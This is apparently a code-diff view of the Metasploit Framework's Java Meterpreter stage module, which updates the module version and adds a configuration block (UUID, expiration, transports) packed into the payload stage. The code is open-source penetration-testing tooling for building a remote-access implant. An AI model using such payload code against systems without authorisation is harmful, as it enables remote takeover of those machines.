10
10
require 'msf/base/sessions/meterpreter_options'
11
11
12
12
13
- module Metasploit3
13
+ module Metasploit4
14
+
14
15
include Msf ::Sessions ::MeterpreterOptions
15
16
16
17
# The stager should have already included this
17
18
#include Msf::Payload::Java
18
19
19
20
def initialize ( info = { } )
20
21
super ( update_info ( info ,
21
- 'Name' => 'Java Meterpreter' ,
22
- 'Description' => 'Run a meterpreter server in Java' ,
23
- 'Author' => [
24
- 'mihi' , # all the hard work
25
- 'egypt' # msf integration
26
- ] ,
27
- 'Platform' => 'java' ,
28
- 'Arch' => ARCH_JAVA ,
29
- 'PayloadCompat' =>
30
- {
22
+ 'Name' => 'Java Meterpreter' ,
23
+ 'Description' => 'Run a meterpreter server in Java' ,
24
+ 'Author' => [ 'mihi' , 'egypt' , 'OJ Reeves' ] ,
25
+ 'Platform' => 'java' ,
26
+ 'Arch' => ARCH_JAVA ,
27
+ 'PayloadCompat' => {
31
28
'Convention' => 'javasocket javaurl' ,
32
29
} ,
33
- 'License' => MSF_LICENSE ,
34
- 'Session' => Msf ::Sessions ::Meterpreter_Java_Java ) )
30
+ 'License' => MSF_LICENSE ,
31
+ 'Session' => Msf ::Sessions ::Meterpreter_Java_Java
32
+ ) )
33
+
35
34
# Order matters. Classes can only reference classes that have already
36
35
# been sent. The last .class must implement Stage, i.e. have a start()
37
36
# method.
@@ -54,12 +53,42 @@ def initialize(info = {})
54
53
# used as the final stage; calls super to get the intermediate stager.
55
54
#
56
55
def generate_stage ( opts = { } )
57
- # TODO: wire the UUID into the stage
58
56
met = MetasploitPayloads . read ( 'meterpreter' , 'meterpreter.jar' )
57
+ config = generate_config ( opts )
58
+
59
+ # All of the dependencies to create a jar loader, followed by the length
60
+ # of the jar and the jar itself, then the config
61
+ blocks = [
62
+ super ( opts ) ,
63
+ [ met . length , met ] . pack ( 'NA*' ) ,
64
+ [ config . length , config ] . pack ( 'NA*' )
65
+ ]
66
+
67
+ # Deliberate off by 1 here. The call to super adds a null terminator
68
+ # so we would add 1 for the null terminate and remove one for the call
69
+ # to super.
70
+ block_count = blocks . length + @stage_class_files . length
59
71
60
- # All of the dendencies to create a jar loader, followed by the length
61
- # of the jar and the jar itself.
62
- super ( opts ) + [ met . length ] . pack ( "N" ) + met
72
+ # Pack all the magic together
73
+ ( blocks + [ block_count ] ) . pack ( 'A*' * blocks . length + 'N' )
63
74
end
64
75
76
+ def generate_config ( opts = { } )
77
+ opts [ :uuid ] ||= generate_payload_uuid
78
+
79
+ # create the configuration block, which for staged connections is really simple.
80
+ config_opts = {
81
+ ascii_str : true ,
82
+ arch : opts [ :uuid ] . arch ,
83
+ expiration : datastore [ 'SessionExpirationTimeout' ] . to_i ,
84
+ uuid : opts [ :uuid ] ,
85
+ transports : [ transport_config ( opts ) ]
86
+ }
87
+
88
+ # create the configuration instance based off the parameters
89
+ config = Rex ::Payloads ::Meterpreter ::Config . new ( config_opts )
90
+
91
+ # return the XML version of it
92
+ config . to_b
93
+ end
65
94
end
0 commit comments